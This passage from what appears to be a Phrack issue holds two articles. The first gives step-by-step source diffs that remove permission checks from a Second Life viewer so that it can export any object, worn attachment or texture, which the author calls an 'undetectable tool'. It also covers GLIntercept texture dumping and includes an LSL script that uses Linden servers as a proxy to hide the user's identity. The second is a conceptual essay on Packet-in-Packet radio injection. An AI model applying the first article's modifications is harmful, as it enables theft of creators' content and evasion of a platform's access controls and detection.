+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
There is a complete explanation of what this does in the comments. This
|
||
|
checks to see whether you are in Second Life, and if you are, it goes
|
||
|
through a series of inefficient and poorly coded checks to ensure that you
|
||
|
are indeed the creator of the texture by testing whether the texture is in
|
||
|
your inventory. We eliminate those checks and make it return the asset ID
|
||
|
directly:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
LLUUID PrimBackup::validateTextureID(LLUUID asset_id)
|
||
|
{
|
||
|
return asset_id;
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Once you compile the modified viewer, you will be able to export any
|
||
|
object, along with its textures that you can see in-world. The next step is
|
||
|
to modify the skin (i.e. Imprudence's user interface) so that you may
|
||
|
export attachments from the GUI.
|
||
|
|
||
|
First, let us enable the pie "Export..." button. I will assume that you use
|
||
|
the default skin. The next stop is at
|
||
|
linden/indra/newview/skins/default/xui/en-us/menu_pie_attachment.xml. You
|
||
|
will need to add:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
<menu_item_call enabled="true" label="Export" mouse_opaque="true"
|
||
|
name="Object Export">
|
||
|
<on_click function="Object.Export" />
|
||
|
<on_enable function="Object.EnableExport" />
|
||
|
</menu_item_call>
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Now, we need to enable it for any avatar at
|
||
|
linden/indra/newview/skins/default/xui/en-us/menu_pie_avatar.xml. You will
|
||
|
need to add:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
<menu_item_call enabled="true" label="Export" mouse_opaque="true"
|
||
|
name="Object Export">
|
||
|
<on_click function="Object.Export" />
|
||
|
<on_enable function="Object.EnableExport" />
|
||
|
</menu_item_call>
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
After that, we must add them so the viewer picks up the skin options. We
|
||
|
open up linden/indra/newview/llviewermenu.cpp and add in the avatar pie
|
||
|
menu section:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
// Avatar pie menu
|
||
|
...
|
||
|
addMenu(new LLObjectExport(), "Avatar.Export");
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
We do the same for the attachments section:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
// Attachment pie menu
|
||
|
...
|
||
|
|
||
|
addMenu(new LLObjectEnableExport(), "Attachment.EnableExport");
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Now we are set. However, the viewer performs a check in "EnableExport" in
|
||
|
linden/indra/newview/llviewermenu.cpp which we need to knock out:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
class LLObjectEnableExport : public view_listener_t
|
||
|
{
|
||
|
bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata)
|
||
|
{
|
||
|
LLControlVariable* control =
|
||
|
gMenuHolder->findControl(userdata["control"].asString());
|
||
|
|
||
|
LLViewerObject* object =
|
||
|
LLSelectMgr::getInstance()->getSelection()->getPrimaryObject();
|
||
|
|
||
|
if((object != NULL) &&
|
||
|
(find_avatar_from_object(object) == NULL))
|
||
|
{
|
||
|
|
||
|
// yadda, yadda, yadda, blah, blah, blah...
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
The code initially checks whether the object exists, if it is not worn by
|
||
|
an avatar, and then applies permission validations to all the children
|
||
|
(links) of the object. If the object exists, if it is not worn by an avatar
|
||
|
and all the permissions for all child objects are correct, then the viewer
|
||
|
enables the "Export..." control. Since we do not care either way, we enable
|
||
|
the control regardless of any checks.
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
class LLObjectEnableExport : public view_listener_t
|
||
|
{
|
||
|
bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata)
|
||
|
{
|
||
|
LLControlVariable* control =
|
||
|
gMenuHolder->findControl(userdata["control"].asString());
|
||
|
|
||
|
LLViewerObject* object =
|
||
|
LLSelectMgr::getInstance()->getSelection()->getPrimaryObject();
|
||
|
|
||
|
if(object != NULL)
|
||
|
{
|
||
|
control->setValue(true);
|
||
|
return true;
|
||
|
|
||
|
// yadda, yadda, yadda, blah, blah, blah...
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
I have left the NULL check for the object since if you happen to mis-click
|
||
|
and select something other than an object, then the "Export..." pie menu
|
||
|
will be enabled and your viewer will crash. More precisely, if you instruct
|
||
|
the viewer to export something using the object export feature, and it is
|
||
|
not an object, the viewer will crash since there are no checks performed
|
||
|
after this step.
|
||
|
|
||
|
Further on in linden/indra/newview/llviewermenu.cpp there is another test
|
||
|
to see whether the object you want to export is attached to an avatar. In
|
||
|
that case, the viewer considers it an attachment and disallows exporting.
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
class LLObjectExport : public view_listener_t
|
||
|
{
|
||
|
bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata)
|
||
|
{
|
||
|
LLViewerObject* object =
|
||
|
LLSelectMgr::getInstance()->getSelection()->getPrimaryObject();
|
||
|
if (!object) return true;
|
||
|
|
||
|
LLVOAvatar* avatar = find_avatar_from_object(object);
|
||
|
|
||
|
if (!avatar)
|
||
|
{
|
||
|
PrimBackup::getInstance()->exportObject();
|
||
|
}
|
||
|
|
||
|
return true;
|
||
|
}
|
||
|
};
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Again, we proceed the same way and knock out that check which will allow
|
||
|
us to export objects worn by any avatar:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
class LLObjectExport : public view_listener_t
|
||
|
{
|
||
|
bool handleEvent(LLPointer<LLEvent> event, const LLSD& userdata)
|
||
|
{
|
||
|
PrimBackup::getInstance()->exportObject();
|
||
|
|
||
|
return true;
|
||
|
}
|
||
|
};
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
These changes will be sufficient in order to transform your viewer into an
|
||
|
undetectable tool that will allow you to export any object along with the
|
||
|
associated textures.
|
||
|
|
||
|
There are indeed easier ways, for example toggling God mode from the
|
||
|
source code and bypassing most checks. However, that will be discussed
|
||
|
in the upcoming full article, along with explanations on what Linden are
|
||
|
able to detect and wearable exports.
|
||
|
|
||
|
Alternatively, and getting closer to a "bot", there are ways to program
|
||
|
a fully non-interactive client [11] that will export everything it sees
|
||
|
automatically. This will also be covered in the upcoming article since it
|
||
|
takes a little more than hacks. The principle still holds: "who controls
|
||
|
an asset UUID, has at least permission to grab the asset off the asset
|
||
|
server".
|
||
|
|
||
|
------[ II. Part II - Textures
|
||
|
|
||
|
In the first part we have talked about exporting objects. There is more fun
|
||
|
you can have with the viewer too, for example, grabbing any texture UUID,
|
||
|
or dumping your skin and clothes textures.
|
||
|
|
||
|
What can we do about clothes? If you have an outfit you would like to grab,
|
||
|
with the previous method you will only be able to export primitives without
|
||
|
the wearable clothes. How about backing up your skin?
|
||
|
|
||
|
The 1.x branch of the Linden viewer has an option, disabled by default and
|
||
|
only accessible to grid Gods, which will allow you to grab baked textures.
|
||
|
Grid Gods are essentially Game Masters and in the case of Second Life, they
|
||
|
consist of the "Linden"s, which are Linden Labs employees represented
|
||
|
in-world by avatars, conventionally having "Linden" as their avatar's last
|
||
|
name.
|
||
|
|
||
|
We open up linden/indra/newview/llvoavatar.cpp and we find:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index)
|
||
|
{
|
||
|
// Check if the texture hasn't been baked yet.
|
||
|
if (!isTextureDefined(index))
|
||
|
{
|
||
|
lldebugs << "getTEImage( " << (U32) index << " )->getID()
|
||
|
== IMG_DEFAULT_AVATAR" << llendl;
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
if (gAgent.isGodlike() && !gAgent.getAdminOverride())
|
||
|
return TRUE;
|
||
|
|
||
|
// yadda, yadda, yadda, blah, blah, blah...
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Aha, so it seems that grid Gods are permitted to grab textures. That is
|
||
|
fine, so can we:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
BOOL LLVOAvatar::canGrabLocalTexture(ETextureIndex index)
|
||
|
{
|
||
|
// Check if the texture hasn't been baked yet.
|
||
|
if (!isTextureDefined(index))
|
||
|
{
|
||
|
lldebugs << "getTEImage( " << (U32) index << " )->getID()
|
||
|
== IMG_DEFAULT_AVATAR" << llendl;
|
||
|
return FALSE;
|
||
|
}
|
||
|
|
||
|
return TRUE;
|
||
|
|
||
|
if (gAgent.isGodlike() && !gAgent.getAdminOverride())
|
||
|
return TRUE;
|
||
|
|
||
|
// yadda, yadda, yadda, blah, blah, blah...
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
But that is not sufficient. The 1.x viewer code has an error (perhaps
|
||
|
intentional) which will crash the viewer when you try to grab the lower
|
||
|
part of your avatar. In the original code at
|
||
|
linden/indra/newview/llviewermenu.cpp, we have:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
else if ("lower" == texture_type)
|
||
|
{
|
||
|
handle_grab_texture( (void*)TEX_SKIRT_BAKED );
|
||
|
}
|
||
|
else if ("skirt" == texture_type)
|
||
|
{
|
||
|
handle_grab_texture( (void*)TEX_SKIRT_BAKED );
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
Which must be changed to:
|
||
|
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
else if ("lower" == texture_type)
|
||
|
{
|
||
|
handle_grab_texture( (void*)TEX_LOWER_BAKED );
|
||
|
}
|
||
|
else if ("skirt" == texture_type)
|
||
|
{
|
||
|
handle_grab_texture( (void*)TEX_SKIRT_BAKED );
|
||
|
}
|
||
|
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
|
||
|
|
||
|
You are free to recompile and go to the menu and dump the textures on you,
|
||
|
including your skin. To grab your skin, you can undress your avatar and
|
||
|
grab the textures. You can then export them using the method from Part I.
|
||
|
For clothes, you would do the same by clothing your avatar, grabbing the
|
||
|
relevant textures and then exporting them using the method from Part I.
|
||
|
|
||
|
You might notice that the texture that will be dumped to your inventory is
|
||
|
temporary. That is, it is not an asset and registered with the asset
|
||
|
server. Make sure you save the texture, or, if you want to save a bunch of
|
||
|
them, consider reading the first part of the article and place the textures
|
||
|
on a primitive and export the entire primitive.
|
||
|
|
||
|
Since the textures are baked, they represent an overlay of your skin and
|
||
|
your clothes. If you want to extract just the clothes, you might need to
|
||
|
edit the grabbed textures in a graphics editing program to cut out the skin
|
||
|
parts. However, it might be possible to use a transparent texture for your
|
||
|
skin when you grab the textures. In that case, you will not have to edit
|
||
|
the clothes at all.
|
||
|
|
||
|
------[ II. Part II - Textures
|
||
|
II. i. Textures - GLIntercept
|
||
|
|
||
|
The GLIntercept method involves grabbing a copy of GLIntercept and
|
||
|
replacing the .dll file with the GLIntercept one. By doing that, when you
|
||
|
run the Second Life viewer, all the textures will be stored to your hard
|
||
|
drive in the images directory. It is a resource consuming procedure because
|
||
|
any texture that your viewer sees is saved to your hard-drive.
|
||
|
|
||
|
Therefore, if your only interest is to allot a collection of textures, then
|
||
|
get GLIntercept and, after installing it, replace the opengl .dll from your
|
||
|
viewer directory with the one from GLIntercept. If you cannot find the
|
||
|
viewer's opengl .dll, then just copy it as a new file because the viewer
|
||
|
will pick it up. I recommend setting your graphics all the way to low and
|
||
|
taking it easy because in the background, the GLIntercept .dll will create
|
||
|
an images directory and dump all the possible textures, including the
|
||
|
textures belonging to the UI.
|
||
|
|
||
|
There is a lot of fuss going on about GLIntercept. Some strange people say
|
||
|
it does not work anymore and some funny people come up with ideas like
|
||
|
encrypting the textures. The principle that GLIntercept works on is trivial
|
||
|
to the point of making the whole fuss meaningless. GLIntercept, when used
|
||
|
in conjunction with the viewer is an extra layer between your viewer and
|
||
|
opengl. Anything that your graphics card renders can be grabbed - together
|
||
|
with other similar software [8], the same effect described in this article,
|
||
|
however it would require you to convert the structures to the Second Life
|
||
|
format. The usage of GLIntercept is not restricted to Second Life, you can
|
||
|
go ahead and grab anything you like from any program that uses opengl. It
|
||
|
literally puts a dent (crater?) into content stealing, the important phrase
|
||
|
being: "anything that your graphics card renders, can be grabbed".
|
||
|
|
||
|
------[ IV. Postamble
|
||
|
|
||
|
Second Life is a vanity driven virtual universe which is plagued by the
|
||
|
most horrible muppets that fake anonymity could spawn. The Lindens maintain
|
||
|
full control and all the content you upload automatically switches
|
||
|
ownership to Linden Labs via the Terms of Service which make you renounce
|
||
|
your copyright. Not only that, but there are plenty of rumours you are
|
||
|
tracked and they have a dodgy "age-verification" system in place which
|
||
|
forces you to send your ID card to be checked by "a third party". Under
|
||
|
these circumstances, it is of course questionable what they do with that
|
||
|
data and whether they link your in-world activities to your identity.
|
||
|
|
||
|
There is more that could be potentially done, the viewers are so frail and
|
||
|
incredibly poorly coded from all perspectives and certainly not the quality
|
||
|
you would expect from an institution that makes billions of shineys. There
|
||
|
have been exploits before such as Charlie Miller's Quicktime exploit [9]
|
||
|
which was able to gain full control of your machine (patched now) and
|
||
|
Michael Thumann's excellent presentation which goes over many concepts of
|
||
|
Second Life as well as how they can be abused [10].
|
||
|
|
||
|
One of the further possibilities I have been looking into (closely related
|
||
|
to Michael Thumann's presentation) is to use LSL and create an in-world
|
||
|
proxy that will enable your browser to connect to a primitive in-world and
|
||
|
bounce your traffic. There is a limitation imposed on the amount of
|
||
|
information an LSL script can retrieve off the web, however I am still
|
||
|
looking into way to circumvent that. Essentially the idea would be to use
|
||
|
the Linden Labs servers as a proxy to carry out all the surfing. At the
|
||
|
current time of writing this article, I do have a working LSL
|
||
|
implementation (you can see an example of that in [A. 1]) that can grab 2kb
|
||
|
off any website (this is a limitation imposed by the LSL function
|
||
|
llHTTPRequest()). Additionally, a PHP page could be created that rewrites
|
||
|
the content sent back by the LSL script and so that the links send the
|
||
|
requests back through the script in Second Life.
|
||
|
|
||
|
Not only IPs, but headers, timezone, DNS requests and everything else gets
|
||
|
spoofed that way.
|
||
|
|
||
|
The possibilities are limitless and I have seen viewers emerge that rely on
|
||
|
this concept, such as CryoLife or NeilLife. However, the identification
|
||
|
strings sent by the few versions lying around the net have been tagged and
|
||
|
any user connecting with them would be banned. If you want to amuse
|
||
|
yourself further, you may want to have a look at:
|
||
|
|
||
|
http://wiki.secondlife.com/wiki/User:Crone_Dryke
|
||
|
|
||
|
Dedicated to CV. Many thanks to the Phrack Staff for their help and their
|
||
|
interest in the article.
|
||
|
|
||
|
Thank you for your time!
|
||
|
|
||
|
------[ B. Bibliography
|
||
|
|
||
|
[1] The Second Life website,
|
||
|
http://secondlife.com/
|
||
|
[2] Linden Labs official website,
|
||
|
http://lindenlab.com/
|
||
|
[3] Linden Scripting Language LSL Wiki,
|
||
|
http://wiki.secondlife.com/wiki/LSL_Portal
|
||
|
[4] Imprudence Viewer downloads,
|
||
|
http://wiki.kokuaviewer.org/wiki/Imprudence:Downloads
|
||
|
[5] The Phoenix Viewer,
|
||
|
http://www.phoenixviewer.com/
|
||
|
[6] The third-party viewer policy,
|
||
|
http://secondlife.com/corporate/tpv.php
|
||
|
[7] GLIntercept,
|
||
|
http://oreilly.com/pub/h/5235
|
||
|
[8] Ogre exporters,
|
||
|
http://www.ogre3d.org/tikiwiki/OGRE+Exporters
|
||
|
[9] QuickTime exploit granting full access to a users machine,
|
||
|
http://securityevaluators.com/content/case-studies/sl/
|
||
|
[10] Thumann's presentation on possibilities how to exploit Second Life,
|
||
|
https://www.blackhat.com/presentations/bh-europe-08/Thumann/
|
||
|
Presentation/bh-eu-08-thumann.pdf
|
||
|
[11] OpenMetaverse Library for Developers,
|
||
|
http://lib.openmetaverse.org/wiki/Main_Page
|
||
|
|
||
|
------[ A. Appendix
|
||
|
|
||
|
[A. 1] LSL script which requests an publicly accessible URL from the
|
||
|
current SIM it is located on, and answers any proxies HTTP requests by
|
||
|
accessing the public URL, suffixed with "/url=<some URL>" where "some URL"
|
||
|
represents a web address. The script fetches 2k of the content and then
|
||
|
sends it back to the browser.
|
||
|
|
||
|
key uReq;
|
||
|
key sReq;
|
||
|
|
||
|
default
|
||
|
{
|
||
|
state_entry()
|
||
|
{
|
||
|
llRequestURL();
|
||
|
}
|
||
|
|
||
|
changed(integer change)
|
||
|
{
|
||
|
if (change & CHANGED_INVENTORY) llResetScript();
|
||
|
}
|
||
|
|
||
|
http_request(key id, string method, string body)
|
||
|
{
|
||
|
if (method == URL_REQUEST_GRANTED) {
|
||
|
llOwnerSay(body);
|
||
|
return;
|
||
|
}
|
||
|
if (method == "GET") {
|
||
|
uReq = id;
|
||
|
list pURL = llParseString2List(
|
||
|
llGetHTTPHeader(id, "x-query-string"), ["="], []);
|
||
|
if (llList2String(pURL, 0) == "url")
|
||
|
sReq = llHTTPRequest(llList2String(pURL, 1),
|
||
|
[HTTP_METHOD, "GET"], "");
|
||
|
}
|
||
|
}
|
||
|
http_response(key request_id,
|
||
|
integer status,
|
||
|
list metadata,
|
||
|
string body)
|
||
|
{
|
||
|
if (sReq == request_id) llHTTPResponse(uReq, 200, body);
|
||
|
}
|
||
|
}
|
||
|
|
||
|
|
||
|
|=[ 0x06 ]=---=[ How I misunderstood digital radio; or,
|
||
|
"Weird machines" are in radio, too! - M.Laphroaig
|
||
|
pastor@phrack ]--=|
|
||
|
|
||
|
...there be bytes in the air
|
||
|
and Turing machines everywhere
|
||
|
|
||
|
When one lays claim to generalizing a class of common misconceptions,
|
||
|
it is fitting to start with one's own. These are the things I used to
|
||
|
believe about digital radio -- or, more precisely, would not have
|
||
|
questioned if explicitly presented with them.
|
||
|
|
||
|
=== Wishful thinking ===
|
||
|
|
||
|
The following statements are obviously related and mutually
|
||
|
reinforcing:
|
||
|
|
||
|
1. Layer 1 delivers frames to Layer 2 either fully intact frames
|
||
|
exactly as transmitted by a peer in their entirety, or slightly
|
||
|
corrupted versions of such frames if CRC checking in Layer 1 is
|
||
|
disabled, as it sometimes is for sniffing.
|
||
|
|
||
|
2. In order to be received at Layer 1, a frame must be transmitted
|
||
|
with proper encapsulation by a compatible Layer 1 transmitter using
|
||
|
the exact same PHY protocol. There is no substitution in commodity
|
||
|
PHY implementations for the radio chip circuitry activated when the
|
||
|
chip starts transmitting a queued Layer 2 frame, except by use of
|
||
|
an expensive software defined radio.
|
||
|
|
||
|
3. Layer 1 implementations have means to unambiguously distinguish
|
||
|
between the radio transmission that precedes a frame -- such as the
|
||
|
frame's preamble -- and the frame's actual data. One cannot be
|
||
|
mistaken for another, or such a mistake would be extremely rare and
|
||
|
barely reproducible.
|
||
|
|
||
|
4. Should a receiver miss the physical beginning of a frame
|
||
|
transmission on the air due to noise or a timing problem, the rest
|
||
|
of the transmission is wasted, and no valid frame could be received
|
||
|
at least until this frame's transmission is over.
|
||
|
|
||
|
For Layer 1 injection, this would imply the following limitations:
|
||
|
|
||
|
a. In order to successfully "inject" a crafted Layer 1 frame (that is,
|
||
|
to have it received by the target) the attacker needs to (1) build
|
||
|
the binary representation of the full frame in a buffer, (2)
|
||
|
possess a radio capable of transmitting buffer binary contents, and
|
||
|
(3) instruct the radio to transmit the buffer, possibly bypassing
|
||
|
hardware or firmware implementations of protocol features that may
|
||
|
alter or side-effect the transmission.
|
||
|
|
||
|
b. In particular, the injecting radio must perfectly cooperate by
|
||
|
producing the proper encapsulating physical signals for the
|
||
|
preamble, etc., around the injected buffer-held frame. Without such
|
||
|
cooperation, injection is not possible.
|
||
|
|
||
|
c. Errors due to radio noise can only break injection. The injecting
|
||
|
transmission, as a rule, needs to be more powerful to avoid being
|
||
|
thwarted by ambient noise.
|
||
|
|
||
|
d. Faraday cages are the ultimate protection against injection, as
|
||
|
long as the nodes therein maintain their software and hardware
|
||
|
integrity, and do not afford any undue privileges to the attacker.
|
||
|
|
||
|
A high-level summary of these beliefs could be stated like
|
||
|
this: the OSI Layer 1/Layer 2 boundary in digital radio is a _validity
|
||
|
and authenticity filter_ for frames. In order to be received, a frame
|
||
|
must be transmitted in its entirety via an "authentic" mechanism, the
|
||
|
transmitting chip's logic going through its normal or nearly normal
|
||
|
state transitions, or emulated by a software-defined radio.
|
||
|
|
||
|
Each and every one of these is _false_, as demonstrated by the
|
||
|
existence of Packet-in-Packet (PIP) [1,2] exploits.
|
||
|
|
||
|
=== A Packet Breaks Out ===
|
||
|
|
||
|
On a cold and windy February 23rd of 2011, my illusions came to an
|
||
|
abrupt end when I saw the payload bytes of an 802.15.4 frame's data
|
||
|
--- transmitted inside a valid packet as a regular payload ---
|
||
|
received as a frame of its own, reproducibly.
|
||
|
|
||
|
The "inner" packet, which I believed to be safely contained within the
|
||
|
belly of the enclosing frame would occasionally break out and arrive
|
||
|
all by itself, without any sign of the encapsulating packet.
|
||
|
|
||
|
Every once in a while, there was no whale, just Jonah. It was a very
|
||
|
unwelcome miracle for someone who believed he could be safe from even
|
||
|
SDR-wielding attackers inside a cozy Faraday cage, as long as his
|
||
|
utopian gated community had no compromised nodes.
|
||
|
|
||
|
Where was my encapsulation now? Where was my textbook's OSI model?
|
||
|
|
||
|
Lies, all lies. Sweet illusions shattered by cruel Packet-in-Packet,
|
||
|
the textbook illusion of neat encapsulation chief among them. How the
|
||
|
books lied.
|
||
|
|
||
|
=== Packet-in-Packet: a miracle explained ===
|
||
|
|
||
|
The following is a typical structure of a digital radio frame
|
||
|
as seen by the radio:
|
||
|
|
||
|
------+----------+-----+-------------------------------+-----+------
|
||
|
noise | preamble | SFD | L2 frame reported by sniffers | CRC | noise
|
||
|
------+----------+-----+-------------------------------+-----+------
|
||
|
|
||
|
The receiving radio uses the preamble bytes to synchronize itself, at
|
||
|
the same time looking for SFD bytes digitally. Once a sequence of SFD
|
||
|
bytes matches, the radio starts treating further incoming bytes as the
|
||
|
content of the frame, saving them and feeding them into its checksum
|
||
|
computation.
|
||
|
|
||
|
Consider the situation when the "L2 payload bytes" transmitted after
|
||
|
the SFD themselves contain the following, say, as a valid payload of
|
||
|
a higher layer protocol:
|
||
|
|
||
|
---------+-----+--------------------+--------------------------------
|
||
|
preamble | SFD | inner packet bytes | valid checksum for inner packet
|
||
|
---------+-----+--------------------+--------------------------------
|
||
|
|
||
|
If the original frame's preamble and SFD are intact, all of the above
|
||
|
will be received and passed on to the driver and the OS as regular
|
||
|
payload bytes as intended.
|
||
|
|
||
|
Imagine, however, that the original SFD is damaged by noise and missed
|
||
|
by the radio. Then the initial bytes of the outer frame will be
|
||
|
interpreted as noise, leading up to the embedded "preamble" and "SFD"
|
||
|
of the would-be payload. Instead, these preamble and SFD will be taken
|
||
|
to indicate an actual start of a real frame, and the "inner" packet
|
||
|
will be heard, up to an including the valid checksum. The following
|
||
|
bytes of the enclosing frame will again be dismissed as noise, until
|
||
|
another sequence of "preamble + SFD" is encountered.
|
||
|
|
||
|
Thus, due to noise damaging the real SFD and the receiver's inability
|
||
|
to tell noise bytes from payload bytes except by matching for an SFD,
|
||
|
the radio will occasionally receive the inner packet -- precisely as
|
||
|
if it were sent alone, deliberately.
|
||
|
|
||
|
Thus a remote attacker capable of controlling the higher level
|
||
|
protocol payloads that get transmitted over the air by one of the
|
||
|
targeted radios on the targeted wireless network is essentially
|
||
|
capable of occasionally injecting crafted Layer 1 frames -- without
|
||
|
ever owning any radio or being near the targeted radios' physical
|
||
|
location.
|
||
|
|
||
|
Yes, Mallory, there is such a thing as Layer 1 wireless injection
|
||
|
without a radio. No, Mallory, a mean, nasty Faraday cage will not
|
||
|
spoil your holiday.
|
||
|
|
||
|
=== The reality ===
|
||
|
|
||
|
Designers of Layer 2 and above trust Layer 1 to provide valid or
|
||
|
"authentic" objects (frames) across the layer boundary. This trust is
|
||
|
misplaced.
|
||
|
|
||
|
There are two factors that likely contribute to it among network
|
||
|
engineers and researchers who are not familiar with radio Layer 1
|
||
|
implementations but have read driver and code in the layers above.
|
||
|
|
||
|
Firstly, the use of the CRC-based checking throughout the OSI mode
|
||
|
layers likely reinforces the faith in the ability of Layer 1 to detect
|
||
|
errors -- any symbol errors that accidentally corrupt the encapsulated
|
||
|
packet's structure while on the wire.
|
||
|
|
||
|
Secondly, the rather complex parsing code required for Layer 2 and
|
||
|
above to properly de-encapsulate respective payloads may lead its
|
||
|
readers to believe that similarly complex algorithms take place in
|
||
|
hardware or firmware in Layer 1.
|
||
|
|
||
|
However, L1 implementations are neither validity, authenticity, or
|
||
|
security filters, nor do they maintain complex enough state or context
|
||
|
about the frame's bytes they are receiving.
|
||
|
|
||
|
Aside from analog clock synchronization, their anatomy is nothing more
|
||
|
than that of a finite automaton that pulls bytes (more precisely,
|
||
|
symbols of the code that encodes the transmitted bytes, which differ
|
||
|
per protocol, both in bits/symbol and in modulation) out of the air,
|
||
|
continually.
|
||
|
|
||
|
The inherently noisy RF medium produces a constant stream of symbols.
|
||
|
The probability of hearing different symbols is actually non-uniform
|
||
|
and depends on the details of modulation and encoding scheme, such as
|
||
|
its error-correction.
|
||
|
|
||
|
As it receives the symbol stream, this automaton continually compares
|
||
|
a narrow window within the stream against the SFD sequence known to
|
||
|
start a frame. Once matched by this shift register, the symbols start
|
||
|
being accumulated in a buffer that will eventually be checksummed and
|
||
|
passed to the Layer 2 drivers.
|
||
|
|
||
|
Beyond the start-of-frame matching automation, the receiver has no
|
||
|
other context to determine whether symbols are in-frame payload, our
|
||
|
out-of-frame noise. It has no other concept of encapsulation or frame
|
||
|
validity. A digital radio is just a machine for pulling bytes out of
|
||
|
the air. It has weird machines in that same way -- and for the same
|
||
|
reasons -- that a vulnerable C program has weird machines.
|
||
|
|
||
|
Such encapsulation based on such a simple automaton is easily and
|
||
|
frequently broken in presence of errors. All that is needed is for the
|
||
|
chip's idea of the start-of-frame sequence -- typically, some of the
|
||
|
preamble + a Start of Frame Delimiter, a.k.a. Sync, or just the
|
||
|
latter where the preamble is used exclusively for analog
|
||
|
synchronization -- to not match, for the subsequent payload bytes to be
|
||
|
mistaken for the start-of-frame sequence or noise.
|
||
|
|
||
|
In fact, to mislead the receiving automaton to the _intended meaning_
|
||
|
of symbols (or bytes they are supposed to make up or come from) no
|
||
|
crafting manipulation is necessary: the receiving machine is so simple
|
||
|
that _random noise_ alone provides sufficient "manipulation" needed to
|
||
|
confuse its state and allow for packet-in-packet injection.
|
||
|
|
||
|
Thus injection for attackers without an especially cooperative radio
|
||
|
or in fact any radio at all -- so long as the attacker can leverage
|
||
|
some radio near the target to produce a predictable stream of symbols
|
||
|
-- is enabled by broken encapsulation.
|
||
|
|
||
|
=== What does this remind me of? ===
|
||
|
|
||
|
I remember the first time I witnessed a buffer overflow exploit, when
|
||
|
my Internet-facing Linux box, name Miskatonic, was exploited. Whoever
|
||
|
did that also opened a whole new world to me, and I'll be happy to
|
||
|
repay that debt with a beer should we ever meet in person.
|
||
|
|
||
|
At that time, I was a fairly competent C programmer, but I saw the
|
||
|
world in terms of functions that called other functions. Each of
|
||
|
these functions returned after being called to whichever address it
|
||
|
had been called from. I thought that the only way for a piece of code
|
||
|
to ever get executed was to be inside a function called at some point.
|
||
|
|
||
|
In other words, I regarded C functions as "atomic" abstractions. Even
|
||
|
though I implemented simple recursion and mutually recursive functions
|
||
|
via my own stacks a few times, it never occurred to me that a real
|
||
|
call stack could be anything other than a neat and perfect data
|
||
|
structure with "push", "pop", and referencing of variable slots.
|
||
|
|
||
|
Beware layers of abstractions. Take their expected, specified
|
||
|
operation on faith, and they will appear real. It is tempting to trust
|
||
|
a lower abstraction layer to provide _only_ the valid data structures
|
||
|
your next layer expects to receive, to assume that the lower layer's
|
||
|
designers already took responsibility for it. It is so tempting to
|
||
|
limit your considerations to the detail and complexity of the layer
|
||
|
you are working in.
|
||
|
|
||
|
Thus the layers of abstraction become boundaries of competence.
|
||
|
|
||
|
This temptation is overpowering on well-designed, abstraction-oriented
|
||
|
environments, where you lack any legal or effective means of PEEK-ing
|
||
|
or POKE-ing the underlying layers. Dijkstra decried BASIC as a
|
||
|
mind-mutilating language, but most real BASICs had PEEK and POKE to
|
||
|
explore the actual RAM, and one sooner or later found himself
|
||
|
wondering what they did. I wonder what Dijkstra would have said about
|
||
|
Java, which entirely traps the mind of a programmer in its
|
||
|
abstractions, with no hint of any other ways or idioms of programming.
|
||
|
|
||
|
|
||
|
=== How we could have avoided falling for it ===
|
||
|
|
||
|
The key to understanding this design problem is the incorrect
|
||
|
assumptions about how input is handled, in particular, of how it is
|
||
|
handled as a language, and the machine that handles it.
|
||
|
|
||
|
The _language-theoretic approach_ to finding just such misconceptions
|
||
|
and exploitable bugs based on it was developed by Len Sassaman
|
||
|
